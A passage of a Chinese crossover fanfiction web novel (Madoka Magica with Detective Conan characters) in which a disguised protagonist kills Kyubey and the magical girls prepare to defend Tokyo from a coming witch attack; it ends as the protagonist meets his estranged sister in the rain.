——当时在‘第一次’与丘比见面不到半天后，对方说有事情需要离开：【我会尽快回来的，再见，朔久。】 说完，白色小光球身上的光亮便彻底暗淡下去，整个消失在空中。 可是伊江朔久无法确定对方是否真的离开了，还是在暗地里悄悄关注着自己的一举一动。 虽然他可以在之后从晓美焰那里获取答案，但他不可能随时联系到身处另一个世界的晓美焰，也不可以因为侥幸心理而懈怠。 所以他必须得伪装得天衣无缝。 伊江朔久那时看着小光球离开之后，他试着又一次使用了丘比这个马甲，把意识分了一缕过去操控丘比。 可爱的白色生物自他脚边显现，轻松一跃便跳上了轮椅，随后找了个舒服的姿势，躺在他的腿上蜷成了一团。 如果别人能看见丘比的话，远远望去，估计会以为是只白色的猫咪安心地躺在主人腿上睡觉。 看起来是多么温馨美好的一幕。 伊江朔久想到。 今天突然被系统找上门来，经历了与众不同的一天之后，系统便突然说要离开了……总忍不住让人担心这一切是否真的发生过。 换做是别人，应该也会这么感觉吧。 伊江朔久默不作声地看着丘比，抬起了一只手…… 忍耐着拧断这种白色生物脖颈的冲动，他脸上露出浅浅的温暖笑意，开始尽可能慢慢地轻柔地抚摸着对方的头。 尽管这其实目前算是另一个自己，但他也觉得这样把丘比放在自己眼皮底下会令人安心很多。 如果白色小光球能看见这一幕的话，估计也会被表象暂时蒙蔽，觉得他对‘系统’与‘丘比’都抱有想要接近的善意吧…… 那时的他需要理由和借口。 得给自己所有不太恰当的行为都编出理由来，能说服自己，就能骗过丘比。 演戏，作假，谎言…… 不断重复下去，虽然很累，但这是值得的，只要一直一直地坚持，就绝对能达到期望中的结局。 而现在，走过了这么漫长又短暂的路途，伊江朔久终于看到了前方不远处的结局。 既然都快到最后的时刻了，有些事情便已经没有必要再忍下去了…… 白发少女漠然地看着前方的丘比，青色的眼瞳里不带一丝情感，就像是在看没有生命的死物。 她手里突然多出了一张弓，对准面前熟悉的白色生物，风轻轻吹拂起了她的发丝。 弓弦被拉动，箭矢凭空出现，飞速地划破空气—— 丘比知道躲不开，也没准备去躲。 于是下一秒，它便毫无声息地倒在了地上，头颅处被深深地插进了一支箭矢，已经死得不能再死。 血液顺着它白色的身躯不断地往下淌，很快染红了地面…… 伊江朔久面色依旧平静。 尽管面前死状惨烈的丘比，是伊江朔久早就期望看到的场景了，但此刻白发少女不悲也不喜，和踩死了一只虫子没什么差别。 伊江朔久知道，这只是个开始而已，丘比可没那么容易会死。 果然，没过多久，那个熟悉的声音又响起了。 【看来，我们之间不需要再交谈了。】 伊江朔久抬眼望去。 明明面前已经有了一具丘比的尸体，但是另一只丘比却又站了在稍远处的高墙上。 ‘我早就不想再与你交谈了。’ 伊江朔久语气冷漠地道：‘不要再出现在我面前，否则我见你一次，就杀你一次。’ 丘比摇了摇尾巴，慢悠悠地说道：【我倒是很期待我们的下次见面。等到那个时候，你或许就会后悔如今的……】 它的声音戛然而止。 又是一支箭飞了过来，扎穿了它的身体。 染血的白色生物从高墙上坠落下来，如同一滩软趴趴的烂泥，这里又多了一具丘比的尸体。 伊江朔久放下了手中的弓。 过了一会儿，丘比没有再出现了。 不过，伊江朔久知道，离下次见面不会太久了。而且到了那个时候，恐怕…… 他心里微微一颤，忍不住想到。 ——到了那个时候，究竟会死多少人呢？ 第213章 之后几天，魔女的数量比先前一下子少了许多。 最近魔法少女们需要处理的魔女都是以前就有踪迹信息，不过现在才被找到的。短期内没有任何新冒出来的魔女。 按理说，魔法少女们应该能够清闲不少的。 可是她们清楚，这背后很可能预示着更大的危机即将到来。 ——这多亏了朔夜的提醒。 前两天在魔法少女们的安全屋内，朔夜又召集她们聚在一起，说有重要的事情要谈。 她们还以为朔夜又准备给她们揭露什么事情的真相，也可能是有关之前所说的敌人的信息之类的。 结果一见面，朔夜依旧没对先前的隐瞒做什么解释，而是开门见山地请求道： “之前说过我们有更需要警惕的敌人，我推测对方近期大概会以东京这个城市为主做些动作。所以我们需要提前预防才行，尽可能避免造成过多的民众伤亡。” “我已经向警方申请了大规模的防灾演练，来提高民众的防灾意识，并且提出封锁人流量过大的街道等地区，近期取消所有大型活动……” “可是警方至今还在犹豫之中，迟迟没能给出准确答复。” “安凛、松代，你们能够继续和警方联络，想办法说服他们答应吗？” 降谷零沉默了。 虽然不久前便听朔夜提及了隐藏在幕后的敌人，但也没能想到情况仿佛突然就严峻到了这个地步…… 因为魔法少女真相揭露那天的所见所闻，所以降谷零才会选择相信朔夜的这种话。 不过，降谷零也知道，即使近年来警方和魔法少女的关系越来越近，但警方也很难会答应这样离谱的事情。 毕竟朔夜所说的只是一面之词，无法拿出切实的证据来， 况且就算按她说的去做了，没办法确定敌人从什么时候、以什么形式开始下手，他们也很难有效防范到。 只有千日做贼的，哪有千日防贼的。 要不是为了顾全与魔法少女们的关系，警方估计就不是假装犹豫，而是直接拒绝了。 降谷零沉思了半天，才应道：“我会尽量说服他们答应的，不过可能无法完全按照你说的那样去做。” 就算只能做到一半，也能减少许多伤亡，这对降谷零而言也是一件很不容易的事情了。 朔夜知道这些，便干脆应道：“那就谢谢你了。” “这也是我该做的事情，不用说什么谢谢。” 降谷零顿了顿。 她有点想问，不过，为什么会指名道姓地把这件事拜托给她？ 拜托松代还算是正常，毕竟之前大都是由松代为魔法少女一方的代表，去和警方进行洽谈的。 而安室透的身份作为合作方，也是时不时游走于魔法少女与警方之间。 只有安凛这个魔法少女新人…… 伛鳛蒸狸△ 按理来说，她的身份应该在其他人面前，几乎还是白纸一片吧？ 怎么不管是津岛，还是朔夜，似乎都跟看穿了她的身份似的，将她与警方扯在一起。 可能她们是真的知道了吧。 不过，在了解到这个魔法少女团体的少女含量似乎并不多后，降谷零倒也没有那么心虚尴尬了。 “既然安凛需要忙这件事，那松代，能拜托你在东京市中心的监控系统里加装特殊传感器吗？” 朔夜微微侧头看向松代，道：“以你的能力应该可以做到吧。” 松代确实拥有擅长操控电子机械的特殊魔法。 降谷零闻言，也下意识地看了一眼松代。 从刚才起，对方便只是面无表情地坐在那里，始终一言不发，看起来情绪并不好。 降谷零能够理解。 ……她自己这个提前有了心理准备的新任魔法少女，在猛然得知这么多信息量之后，都许久难以接受。 更不用提被蒙在鼓里这么久了的松田阵平了。 甚至还是在自己转告后，松田阵平才能够得知魔法少女的真相。 对方心情能好才算令人意外吧。 “我记得你应该也可以做得到吧，” 松田阵平忽然对着朔夜开口，说出了进入这个安全屋之后的第一句话： “那个谁都没办法破解的魔法少女网站，不就是你创建的吗？” 其他魔法少女大多都愣了一下。 虎杖悠仁忍不住确认道：“那个网站是朔夜前辈创建的？这两年来也是一直由朔夜前辈所维系的？” 魔法少女们能站到明面上来，发展到如今这个相当于全民偶像的地步，这个网站自然有着不少的功劳。 她们也曾猜过这网站是谁创立的。 不过一直没找到答案，只是觉得对方大概是魔法少女的忠实粉丝，很可能有着操控网络的特殊异能或术式。 朔夜默认了，只是对松代说道：“你能做得更好。” 第214章 随着魔法少女真相的逐渐揭露，朔夜对她们的态度也不知为何好了许多。 要是放在以前，朔夜几乎连一句好话都说不出来。明明是好意，也会别扭地用不太能让人领情的方式去做。 现在好不容易都能委婉地说出夸赞的话了。 但是松田阵平并没有为此而心情好转，而是垂眸说出这样的话来： “是吗？真的是因为我能做得更好？我还以为是因为你还想接着隐瞒自己的能力呢。” 气氛忽然变得有点尴尬。 魔法少女们心底确实或多或少对朔夜的隐瞒有些介怀。可是因为种种原因，如今还是选择相信对方，不去问个究竟。 目前也只有松代会这样直接了。 不过…… 虎杖悠仁忽然想到了一个奇怪的点。 其他魔法少女的能力都各有各的风格，很有特色。为什么朔夜魔法的表现形式让人有些捉摸不透呢？ 从之前的相处中能发现，朔夜战斗时使用的弓箭看起来是很厉害，但厉害的并不是她的武器，而是她本身。 就算不用那张弓，朔夜也能在跟她们训练切磋的时候，轻易地打败她们。 除此之外，朔夜还展露过快速的空间位移能力，短时间浮空的能力……如今还有宛如术式般高超的计算机技术。 这些能力搭配到一起是不是有点不太契合？ 关于朔夜愿望本质和能力本源的魔法究竟会是哪一种呢？ 虎杖悠仁有点想问出来，不过她看看在座的其他魔法少女后，又暂时歇了这个念头。 其他人应该也能想到这个问题，既然她们没有问，那她也还是先不说了。 反正就算她问了，朔夜估计大概率也不会回答吧。 就像如今面对松代的话，白发少女也没有解释什么，她沉默了片刻，只是说道：“如果你不想做的话，我也不会逼迫你。” 面对关于民众生命健康的事情。 松田阵平即使很想从朔夜这里问个明白，也还是先道： “……我会做到的。” 随后，松田阵平还想开口说些什么，不过她的手机这时微微振动了一下。 她先拿出手机看了眼消息，随后抿了抿唇，将手机收了回去，也没再接着开口说话了。 于是，朔夜便从松田阵平那里挪开目光，继续给其他人分配任务。 她向津岛提议，希望对方能在危险发生的时候，尽可能使用瞬移能力先将普通民众转移走。 并接着与其商量了一下，到时候津岛该怎么配合情报部门，更准确快速地找到遇险人员，集中送到安全地方。 “所涉及到的人可能很多，你能够带那么多人不断转移到安全地方吗？” 太宰治如实回答：“会比较消耗能量，我无法保证可以做到……不过只要有足够的悲叹之种，就没问题。” 朔夜说道：“不用太担心，悲叹之种我这两年存了很多。” 然后，朔夜又对禅院穗和悠衣提出，希望她们能够联系咒术界提供帮助。 咒术界存在这么久，底蕴深厚，如今又是由五条悟主要掌控着…… 即使其他人无法看见魔女与使魔的存在，会在战斗上很吃力，但也肯定多少能够帮上一点忙，让民众的伤亡率再降低一些。 禅院穗和悠衣应下了。 不过，禅院穗似乎还想说什么，一副犹豫的样子。 朔夜见状，便先说道：“一个月的时间确实快到了。你放心，尽管有这些事情耽搁，我也会在时间到来之前解决梦境魔女的事，让所有陷入沉睡的人都醒来。” 伏黑惠点头又摇头。 “我上次就说过，我相信的。” 即使那次真人的最后一击对魔法少女而言，并不算多么致命，可是伏黑惠依旧会记得朔夜所做出的行为。 那天的场景实在令人记忆深刻，伏黑惠估计很难忘记当时所发生的一切了。 朔夜既然愿意那样保护津美纪和自己，肯定也不会看着津美纪永远陷入沉睡之中。 伏黑惠忍不住说：“我其实想说的是，这次发生的事情……我可能在很久之前就在幻境里见过了某些片段。” 虎杖悠仁诧异地望向伏黑惠，她之前没听对方提起过这种事：“很久之前？” 太宰治插了一句：“那时我也在。” 伏黑惠说道：“嗯，两三年前我和津岛一起误入了一个幻境……” 接着，她大概描述了一下当时在幻境里所见过的场景。 时间过去得实在有些久了，再加上当时接受到的信息量有些过大，伏黑惠没能够记清当时的不少细节。 印象最深刻的还是幻境的后半段，朔夜干脆利落地杀掉丘比时冷漠无情的样子。 她迟疑地说完了自己在幻境里所看到的一切：“……因为之前不能确定这个‘未来’的真实性，我就一直没有说出来。” 太宰治也趁机附和着说：“我也是这么想的，所以才没说哦。” 伊江朔久沉默了。 她回想起自己两天前杀掉丘比时的画面。 ……这么巧的吗？ 果然自从当年将一部分运气放在天平上交换出去后，自己就一直时不时地倒霉到了至今。 本来这个世界的其他人都无法看见真正的丘比，偏偏那个预言魔女原先也是丘比从其他世界带来的悲叹之种孵化而成的，所以才在幻境里拓印下了丘比的样子吧。 幸好她总是比较小心谨慎，就算确定当时没有其他人在场，也是一直在心里与丘比进行交谈的。 否则要是被她们听到了关键的对话，那就麻烦了。 “现在再从当时所看到的场面来分析……” 伏黑惠一边说着，一边关注着朔夜的神情变化。 “我觉得，那个‘未来’应该是真实的，而且可能……很快就要发生在现实里了。” 第215章 那样的场景是真实的？ 禅院穗刚才是怎么描述的…… 断壁残垣、破败不堪、满目疮痍，众多形象各异的大型魔女疯狂攻击着周围的一切，一眼望不到边的波及范围，一副宛如末日降临的场景。 尽管因为朔夜的缘故，降谷零对即将到来的危机有着一定的心理预期，但也能够想到竟然会严重到这种程度。 那种场景要是发生在最热闹的市区，会造成怎样的后果？ 几乎没有人敢去想象。 降谷零不禁问道：“为什么能确定那是真实的场景？能预见未来听起来是不是有点离奇，还有，朔夜真的会杀掉丘比吗？” 其他人默默把视线都挪向朔夜。 白发少女有点无奈，平静地说道：“会，但丘比没那么容易死掉，它有无数个身体备胎。” 这件事其他人还是第一次知道，她们以前从来没见到丘比死过。 果然，朔夜与丘比的关系还是一如既往地紧密，连这种秘密都清楚。 但是朔夜却不否认会杀掉丘比……这点就很值得思考了。 “话说，我们先前不是总无法抓住一只魔女吗？每次发现它的踪迹，赶到时却总是晚了一步。” 太宰治将话题转回到预言魔女身上：“你们不觉得它很像是可以提前预知到危险，所以才能够一次次地躲避我们吗？” 这确实有道理。 虎杖悠仁担心地问：“既然它能够提前知道未来，我们怎么才能抓得住它呢？” “肯定还是有办法的。预知未来这样作弊的能力，它应该没办法一直无条件地随意使用。否则两年前也不会被我和禅院发现了。” 太宰治随口提了点想法： “可以采用地毯式的搜索，让它频繁发动预言能力，直至筋疲力尽被我们包围抓住。也可以层层布局，就像悄悄下慢性毒药一般，让它在警惕之前就已经落入无法脱离的陷阱当中。” 伏黑惠迟疑地道：“我们现在应该没有这样的精力与时间去找那只魔女，等这次危机解决之后，再想办法去找吧。” 解决之后么…… 太宰治虽然点了点头，却不介意抱有最坏的打算。 她对魔法少女的事情看得更清楚一些，早就察觉到朔夜所说的敌人可能是谁…… 敌人早从一开始便计划着针对她们了，只不过是第一次这样正式地对决。但对方肯定有充分的准备和足够的把握。 朔夜说道：“那现在就按照刚才说的准备去做吧，悲叹之种我随后回整理出来分给你们。” 其他人应下了。 这次会议也算是结束了。 津岛和朔夜先后离开，其他人也互相看了看，似乎也正准备要离开。 这时，先一步离开的津岛却又回来了。 “刚才给我发消息，说是有事要说是吧，我还以为你忘了呢。” 松代双手抱臂，看向津岛问道：“说吧，你想说什么？” 禅院穗、悠衣和安凛也留在这里，看向津岛，显然她们也提前收到了津岛发来的消息。 看来被孤立的又是朔夜。 “换个地方谈吧，这里不太方便。” 津岛说着，拿出了她的那本《女生徒》。 松代蹙眉问道：“你担心朔夜会出其不意地回来听见？” 津岛却神秘地说：“不是，我担心的不是朔夜。” 说罢，津岛一手拿着书，一手攥着一条绷带示意她们也上来攥住。 其他人犹豫了片刻后，还是上前去照做了。 下一秒，场景变化，她们都被带到了另一个地区。 周围寒风呼啸，卷起漫天飞舞的雪花，入目全是一片苍茫的白色。没有人烟、没有灯火，一切都仿佛被厚厚的积雪所吞噬了。 几个魔法少女脸上的表情似乎也要被冻住了。 “……这是哪里？” 伏黑惠现在说话都必须得大声一些，免得被风雪所压下去。 “北海道。怎么样？风景好吧？” 太宰治笑着说：“我可是提前费了一番功夫，才将书页偷偷放置到这个绝佳位置的，轻易不会有人来。” 其他魔法少女：“……” 别说是人了，连动物都不会踏足这处无边的雪原吧，也是难为对方能找到这个地方了。 周围看着就有一种刺骨的寒冷，而魔法少女变身后穿的衣服都比较单薄，她们之中有的人不由得下意识轻轻搓了搓手，或是缩了缩肩膀。 降谷零无奈地道：“为什么要来这种地方？也不提前说一声。” “因为这个地方人少啊。” 太宰治顿了顿，看出了其他人的畏冷，说道：“我们的身体相当于只是傀儡而已，只要你们不给自己下心理暗示觉得这里冷，就不会感觉到寒冷。” 说的容易，但这没那么容易做到。 相反通常越是想暗示自己不冷，就会更频繁地想到寒冷的感觉。 松田阵平不想扯这么多，直接问道：“你到底想说什么？” 太宰治想了下，选择先从眼前来说：“我在防止丘比跟过来。它可能近期都在密切关注我们的动向，尤其是朔夜的动向。” “所以必须要选在它没办法立即接触到的地方，才可以好好谈话。” 见其他人还是有点不明所以，太宰治继续说：“安凛之前看不见丘比，是后来才能见到丘比的吧？” 降谷零算是彻底不对隐藏自己的身份抱有侥幸心理了，心情复杂地应了一声“嗯”。 太宰治说道：“所以我觉得，不是只有适合成为魔法少女的人才能够看到丘比。而是丘比可以选择能够看见它的对象。” 其他人其实也都比较聪明，一点就通。 “所以，丘比可以让我们有时候看得到它，有时候看不到它？” “这么说的话，丘比某些时候可能就在我们身边，但我们却无法发现？” 太宰治点点头，道：“朔夜前辈大概也是顾虑着被丘比听见的可能性，才不愿意说出真相……很有可能丘比总是跟在她周围吧。” 听了津岛的这句话，松田阵平表情似乎莫名变化了些，看不出来是心情好转了，还是变得更糟糕了。 松田阵平思索了片刻后，沉声问道：“你怎么能够确定这一点的？” 太宰治反问道：“你们也不会觉得她瞒着我们，是因为故意想欺骗我们、把我们蒙在鼓里、不在意我们吧？” 确实…… 从过往的种种能看出来，朔夜并不是这样的。 这么一来，津岛说的话就很有可信度了。 太宰治给她们留下了充分的思考时间，随后才又轻描淡写地说了一句惊人的话： “其实我觉得，朔夜所说的敌人就是丘比。” 周围的空气似乎都因为这句话而凝固了。 第216章 尽管因为丘比对魔法少女们的误导与欺骗，直到如今还一直躲着不与她们见面……她们现在对它的态度也自然被负面情绪所覆盖。 但是好歹也算是作为朋友相处了两三年。 之前因为丘比的态度友善、语气好，她们之间的关系还算是蛮融洽地维持了好一段时间。 如今突然得知丘比居然会做出这种程度的事情来，很多人都有点难以想象。 即使是没怎么和丘比相处过的降谷零，此刻回忆着当时丘比找自己签约时耐心又友善的样子，也下意识觉得丘比不会莫名站到和她们不死不休的敌对边，更不会操控魔女造成那样惨烈的伤亡。 松田阵平问太宰治道：“……你为什么觉得朔夜说的敌人就是丘比？” “这还不明显吗？” 太宰治反问：“我们如今都知道，悲叹之种使用过多后可能会再次孵化出魔女对吧？既然如此，那样数不胜数的魔女是从哪里来的，不是只剩下一种答案了吗？” 先前她们使用到极限、吸收的污秽过多的悲叹之种，全部都由丘比回收走了。 很明显，如今也只有丘比能够做到一次性放出那么多魔女来。 虎杖悠仁忍不住问道：“可是，丘比究竟为什么要这样做？” “或许是因为我们吧。” 太宰治慢悠悠地说：“它希望我们变成魔女，可是我们时至今日也没有如它所愿。所以，它等不下去了。” 伏黑惠回想起津美纪前段时间的种种遭遇，又想到朔夜说这些与那个敌人有关，不由得对太宰治的话更信了几分。 伏黑惠喃喃道：“所以朔夜前辈才说，我们需要好好防备、保护自己以及重要的人不遭到魔女的侵害？” 随着思路的逐渐理清，所有人的回忆也越来越清晰，像是一点点擦去陈旧相片上的灰尘一样。 有人记起，丘比这样说过朔夜——‘别在意，她对新人几乎都是这个态度’、‘她会为了悲叹之种而出手的’…… 种种说法、晦涩不明的语气、恶意的暗示……似乎都在隐晦地引导她们去想。 ——朔夜强大实力来自于其足够多的悲叹之种，朔夜会讨厌与她争抢悲叹之种的其他魔法少女。 可事实是这样吗？ 朔夜的帮忙真的是因为丘比的请求吗？ 从现在来看，朔夜存下了那么多悲叹之种，自己受了重伤也不想浪费，却能够随意拿给她们使用。 而丘比却从头到尾只会嘴上说说好听的话，什么也没有做，最后还被发现它对她们其实一直抱有利用与恶意。 也有人记起，在她们没签约之前，朔夜便曾语气糟糕地提醒他们远离魔女结界，提示魔女的危险性，劝告他们不要签订契约…… 如今再回头去看，才能发现对方是故意这么做的，为了让他们对魔法少女以及魔女产生反感抵触的情绪。 现在，她们对于丘比与朔夜的态度几乎已经与先前截然不同。 可是她们如今似乎才彻底想通，丘比和朔夜其实一直都没有改变，只是当时的她们被假象蒙蔽了而已。 伏黑惠忽然没头没尾地问道：“为什么她不直接说呢？” 虎杖悠仁却猜到了她不理解的是什么。 ——即使有丘比在背后一直盯着朔夜，可是两年多来，朔夜不可能完全没有给她们透露真相的机会。 但为什么朔夜不和她们说，反而还故意表现得那样冷漠，仿佛和她们的关系一点也不好、甚至如同平等地讨厌人类一样。 虎杖悠仁想了想，推测道：“我想，如果我们提前知道了真相、和朔夜前辈的关系改变了之后，可能丘比发现了后便不会给我们成长到现在的机会吧。” 所以朔夜就什么也不说，故意让她们讨厌，一直照着丘比希望的样子去做？ 其他魔法少女想起，曾经朔夜和丘比仿佛关系很好的样子。只要是丘比的请求，朔夜便会答应去做。 透过虚假的表象去看，原因真的是两者的关系很好吗？ ……真正的答案应该是，朔夜一直在被丘比威胁着、操控着去做事吧。 丘比应该掌握着朔夜什么重要的存在，才迫使朔夜不得不维持和它的表面友好、按照它所说的去做。 虽然她们不太了解魔法少女身份之下的朔夜，但在场的魔法少女差不多都算是为了他人而许愿的，她们能够理解为了重要的存在而让步的无奈。 如今最了解朔夜的太宰治，关注着其他人思考的样子，大概能够看出她们都想了些什么。 她鸢色的眼眸微沉，似乎想说点什么话，最终却还是什么也没有说。 太宰治知道伊江朔久在意的是，原名伊江幸樱的茂井幸樱这个唯一的亲人。 但是，并不仅仅是那个人。 可无论如何，现在也没有必要再说了…… 之前在太宰治意识到自己曾经有忘却的记忆时，便尽可能抓着线索去试着想起来。 但所有的努力都是无用功，自己怎么都无法想起过去的伊江朔久，其他人当然也不会例外。 太宰治现在仍旧不清楚过去具体发生了什么，也不知道过去就认识的同伴到底还有谁。 所以也没必要告诉她们。 不过…… 太宰治自己也并不为没有意义的知情而感到烦心和苦恼。 尽管记忆找不回来。 但是当知道了，在她们为重要的人许下愿望，为此可以赌上一切地签订契约，甚至一个人小心翼翼地长久隐瞒着秘密、忍受着孤独的时候…… 也有人在为她们而做着同样的事情。 远远地在她们背后看着，知晓她们所背负着的一切，一直默默在意关心保护着她们…… 所以，其实她们也并不孤独。 第217章 天空阴沉沉的，厚重的云层里时而传来沉闷的雷声，细密的雨丝从空中缓缓落下……看这天色，应该再过不久雨就要下大了。 松田阵平坐在出租车后座，透过沾着细密雨滴的车窗看着外面的景色。 街道上的大型广告和霓虹灯晕染得仿佛模糊一片，打着各色雨伞的人群在雨中流动，路边的公交站台挤了不少收拢的雨伞，雨珠不断落在积水中溅起无数细小的水花…… 即使是下着小雨，东京街头的人流量依旧不少。 松田阵平头疼地捏了捏眉心。 想要说服警方封锁人流量过大的街道还真是不容易，这两天他和降谷零为此一直忙碌个不停。 各种想办法疏通关系，说服那些上层人物，变身成魔法少女与其进行沟通谈判，催促他们尽快落实行动…… 直到刚才才终于取得了一些进展，能够暂时停下来休息等待一会儿了。 松田阵平利用书页回到了安全屋并解除了变身，不过本来还需要从这里绕路回家。 但是想到已经辛苦这么久了，他便干脆奢侈地打了一回车。在日本打车可是一向价格都很贵的。 没想到，松田阵平刚上车就后悔了。 因为车上司机正放着广播。 ——是非常热门的魔法少女相关频道。 “警惕新型骗局！最近出现许多冒充魔法少女代言的相关商品，请大家提高警惕，魔法少女如今并没有代言任何……” “最近的几次防灾演习大家都有参加吧？听闻这些演习是由魔法少女们提出的建议，听说她们也可能会出现在演习现场……” “……” 虽然世界上还有着异能、咒术这样的特殊能力，但无奈现在暴露在大众视野下的就只有魔法少女们。 民众自然对她们格外关注。 然而时隔两三年，松田阵平依旧没有习惯成为全民偶像的身份。 他将头偏向左侧，看着窗外的景色，尽可能忽略广播里的声音，但那声音还是不断传进他耳中…… 松田阵平的思绪也下意识飘回过去。 从很久之前浅井公寓那一次，发现朔夜能够自由操纵被炸.弹犯管控的电梯时，他就知道对方也拥有能够操控电子网络相关的技术。 时至今日，在逐渐发现她隐藏着许多秘密，仿佛从一开始起就计划着什么，再加上自己获得的许多线索…… 他便依靠一向过于敏锐的直觉获得了很多猜想。 上次随口一问，也验证了其中之一。 果然朔夜就是魔法少女网站的创立者，也是她一手成就了如今魔法少女的地位。 但是她做这些是为了什么呢？ 松田阵平本来很纠结着这个问题，也在意着对方过去的隐瞒，在意着对方为什么始终不愿意说出真相。 不过，通过两天前与津岛及其他魔法少女的交谈，松田阵平算是更清楚了朔夜的处境，也更理解了对方一些。 随着而来的却是更多的烦恼。 怎么才能解决这些困境呢？ 如何解决掉背后的敌人，如何维护民众的生命安全，如何解开朔夜身上的枷锁，如何改善萩原现在的状况…… 还有，在组织破灭、组织成员纷纷伏法之后，前段时间松田阵平也得空见过了代号为皮斯克的枡山宪三——那个听说是组织元老级成员、也是伊江朔久爷爷的人。 然后他才了解到，组织元老级成员是没错。 但枡山宪三哪里能跟伊江朔久扯得上关系？ ——“我真的不认识伊江朔久，他也不是我私生子的孩子，我根本就没有什么私生子！” ——“他就是六年前凭空冒出来的一个人，是他当年主动找上组织、与组织达成合作关系的，如今的所有身份信息都是请组织帮他做的。” ——“是他要求自己的身份要与组织重要成员扯上关系的。因为他帮上了组织一些忙，所以BOSS才勉为其难地同意了……” 松田阵平回忆着当时那个老人的每一句话。 那个时候他自己完全冷静不下来，难以相信地问了枡山宪三一遍一遍又一遍，甚至还想办法探监从组织的其他人那里多次求证。 最后才确认这才是真相。 而且降谷零也早就知道了这些，联合着伊江朔久一起骗他。 为此这些天，松田阵平气愤地借着给新人安凛特训的由头，狠狠地揍了对方好几顿。降谷零也心虚地没怎么反抗。 但是…… 最主要的当事人伊江朔久却突然消失不见了。 对方像是知道自己的谎言被揭穿了一样，当松田阵平来到侦探事务所来找他的时候，便发现这里似乎早已人去楼空。 松田阵平当时都快气笑了。 很难说前两天松代看上去情绪不佳、还故意呛了朔夜两句，是不是就与此有关。 毕竟他觉得，朔夜可能与伊江朔久有着脱不开的联系。 甚至，某种缥缈的直觉隐隐约约告诉他—— 朔夜和伊江朔久可能…… 突然间，松田阵平透过车窗，不经意地远远瞥见了一个熟悉的坐着轮椅的身影，似乎有着白色的半长发。 隔得有点太远，又因为下着雨，他没能够看真切。 但是他却比反应更快地下意识发出了声音：“师傅，靠边停！” 车刚在路边停下来，松田阵平匆匆付了钱，推开车门冲进雨里。 连伞都没来得及撑，也顾不上避开路上有的比较深的积水，他便往刚才看见那个熟悉身影的方向跟了过去。 加快步伐赶了段路，松田阵平也逐渐看清了那个身影。 果然，那就是伊江朔久。 不过伊江朔久此刻身边还有着另外一个人——是一个松田阵平从来没有见过的人。 第218章 伊江朔久身边的人是一个约莫27岁左右的女性，白色长发、青色眼瞳。两人在一起走着，看上去就像亲戚一样。 本来伊江朔久就与朔夜有几分相似，但一个成年男性和少女的相似还是太难被看出来了。 而如今这个27岁左右的女性倒是比伊江朔久更像朔夜几分。 但对方和伊江朔久以及朔夜的风格气质都很不一样，对方表现得要外向许多，脸上仿佛经常挂着笑容一样，看上去很好接近。 如果松田阵平不是警察、没怎么学过如何观察他人年龄的小技巧，估计也看不出对方已经27岁左右了。 此刻，那个女子和伊江朔久打着同一把伞，一起走在路上，似乎还在交谈着什么。 松田阵平脚步不由得慢慢停顿了下来。 ……这是什么情况？ 那是伊江的家人吗？认识这么久，他从来没见过伊江朔久身边出现过其他什么人。 他思绪一时间有点乱。 在注意到身旁偶尔有路人投来的奇怪目光后，松田阵平反应过来，现在下着雨，拿着伞却不撑伞确实有点奇怪。 他打开了伞，缩小存在感，使自己融入其他人当中，成为了一个不起眼的路人。 随即，松田阵平抿抿嘴，下定了决心。 他重新开始迈步，但却同时也放轻了脚步，不急也不缓地跟在了伊江朔久身后不远处。 …… 伊江朔久知道自己不应该来见她的。 伊……茂井幸樱生活得很好，一切都很好，有条不紊地在按照她希望的方向前进。不会再有太大的挫折，也不会再有难以跨过去的坎。 这样就很好了。 她早就摆脱阴影、忘记过去的那些痛苦了。所以他怎么可以为了自己的私心，而去打扰对方的生活呢。 伊江朔久一直都很清楚这些道理。 所以从六年前到现在，他一次也没有再跟对方说过话，连单方面远远地看着对方的次数也很少。 尤其是两年多前丘比又一次出现在这个世界上之后，他更是因为担心给她带去危险与麻烦，便再也没有见过她。 ……直到今天。 计划了很久的最终时刻就快要到来了，这大概是他最后所拥有的自由时光。如果放过了这次机会，以后就更不可能再见到姐姐了。 而且晓美焰掌控着丘比的行踪，能够保证丘比不会太过突然地提前回到这个世界。 所以他没什么可担心的。 于是，伊江朔久一边想着，没什么好见的，只会打扰到对方，为什么要抱有侥幸心理呢……一边又忍不住想： 见一面吧，最后一面。 影响不了什么的…… 他纠结着这一选项。思绪难得混乱地缠绕在一起，始终无法抉择。 仿佛这比好几年前他艰难地思量如何达成计划最完美的结局还要难。 伊江朔久最终还是心绪不宁地出了门，一个人操纵着轮椅在大街上前进着，只不过似乎仅仅是在没有目的地闲逛。 但其实，他所经过的道路，都是情报里茂井幸樱经常会走的路。 尽管这几年都没怎么见过对方，但伊江朔久还是会想办法时不时了解茂井幸樱的近况，免得等她遇到难以解决的问题时、没办法及时悄悄提供帮助。 为了获得这样的情报，这些年伊江朔久都是小心翼翼、迂回婉转地绕了很大一圈。 尽可能找理由地获得一大堆人的情报，每次再不厌其烦从其中挑出与茂井幸樱相关的人的情况，从只言片语中猜测对方的近况。 但是，在茂井幸樱常走的那条路上徘徊，就真的能见到对方吗？ 仅凭今天一天的时间，再加上又下了雨，这几率实在太小了。 就和故事里那个守株待兔的人一样愚蠢。 所以，其实不见面才是最好的吧？ 伊江朔久本来都想放弃离开了，毕竟现在还有很多事情要做，丘比并不是那么好对付的存在。 可是就在他要离开的时候，他瞥见了不远处在檐下躲雨的一个熟悉又陌生的身影。 一位有着与自己如出一辙的白发青眸的女性。 对方手上提着一个礼品袋，此刻正四处张望着，时不时看一眼天空，似乎有点着急、期待着雨能赶紧停下来。 伊江朔久是很熟悉伊江幸樱的，但却从来没有和茂井幸樱相处过。 他印象里姐姐的模样，绝大部分都是一个活泼又肆意、眼睛格外明亮的少女，所以对如今对方的这个样子有些不习惯。 但是见到对方略显着急的样子，他还是下意识地先开口了： “那个、你需要一把伞吗？” 这句话有点太生硬了。 但还好，茂井幸樱性格一向比较直率，她没有在意他的打扰，而是诧异地看过来，问道：“请问你是？” 她的语气态度很礼貌，这也是伊江朔久所陌生之处。 记忆里的姐姐从来不会对他这么客气，还总是喜欢跟他开玩笑、捉弄他。 伊江朔久努力平复下心情，捡起自己快要散落一地的伪装，按捺住不断涌上心头的曾经的一幕幕回忆…… 他尽可能自然地解释道：“……我只是看你似乎很着急离开。雨看起来暂时只会越下越大的，不介意的话，我可以把伞送给你。” “这怎么能行。” 茂井幸樱下意识地拒绝。 但是她又想起，这附近没什么可以买伞的地方。要是到远一点的地方去，肯定就得被淋湿了。继续耽搁下去的话，时间可能就要来不及了。 她想了想，看向那个坐在轮椅上的好心的白发青年，犹豫地问：“请问你等会儿要去哪里？” 第219章 